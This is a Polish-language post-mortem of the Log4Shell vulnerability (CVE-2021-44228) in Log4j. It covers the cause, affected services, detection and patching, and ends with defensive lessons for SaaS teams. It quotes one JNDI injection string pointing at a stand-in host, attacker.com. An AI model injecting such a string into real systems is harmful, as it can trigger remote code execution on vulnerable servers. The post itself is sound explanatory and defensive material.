Log4j 2.x — JNDI Injection bez uwierzytelnienia. CVSS 10.0. Jedna z najbardziej krytycznych podatności w historii internetu.
Co się stało
9 grudnia 2021 roku proof-of-concept dla CVE-2021-44228 trafił na Twittera. Apache Log4j 2.x — biblioteka logowania używana praktycznie przez każdą aplikację Java na świecie — umożliwiała zdalne wykonanie kodu poprzez pojedynczy spreparowany komunikat logu. String ataku $\{jndi:ldap://attacker.com/a} zmuszał Log4j do połączenia się z serwerem LDAP kontrolowanym przez atakującego i deserializacji złośliwej klasy Java. Bez uwierzytelnienia.
Przyczyna
Funkcja JNDI Lookup w Log4j. Gdy Log4j napotkał $\{jndi:...} w komunikacie logu, rozwiązywał lookup, łącząc się ze wskazaną usługą katalogową. Atakujący mógł wstrzyknąć ten string w dowolne pole, które trafia do logów — nagłówki HTTP User-Agent, nazwy użytkowników, wiadomości czatu, a nawet tematy e-maili. Serwer LDAP zwracał zserializowany obiekt Java, który Log4j deserializował, wykonując dowolny kod.
Kto został dotknięty
- Apple iCloud
- Steam, Twitter, Amazon Web Services
- VMware vCenter, Apache Struts, Elasticsearch
- Serwery Minecraft (podatność odkryto przez czat Minecraft)
- Szacunek: 93% środowisk chmurowych w enterprise
Jak to wykryto
Zespoły bezpieczeństwa znalazły próby eksploitacji w logach serwerów webowych — nagłówki User-Agent zawierające stringi jndi:ldap. Canary tokens osadzone w systemach wewnętrznych wyzwalały wychodzące callbacki LDAP. Microsoft, CrowdStrike i Cloudflare opublikowały reguły detekcji w ciągu kilku godzin.
Jak to naprawiono
Apache wydało Log4j 2.17.1 — cztery łatki w 10 dni, w miarę odkrywania obejść.
Lekcje dla Twojego SaaS
- SBOM nie jest opcjonalny. Nie możesz załatać Log4j, jeśli nie wiesz, że go używasz.
- Log injection to realny wektor ataku. Sanityzuj wszystkie dane od użytkownika przed logowaniem.
- Filtrowanie ruchu wychodzącego ma znaczenie. Blokuj wychodzące LDAP, RMI i DNS z serwerów aplikacyjnych.
- Szybkość łatania > perfekcja łatania. Cztery łatki w 10 dni. Najpierw wdrażaj, potem dopracowuj.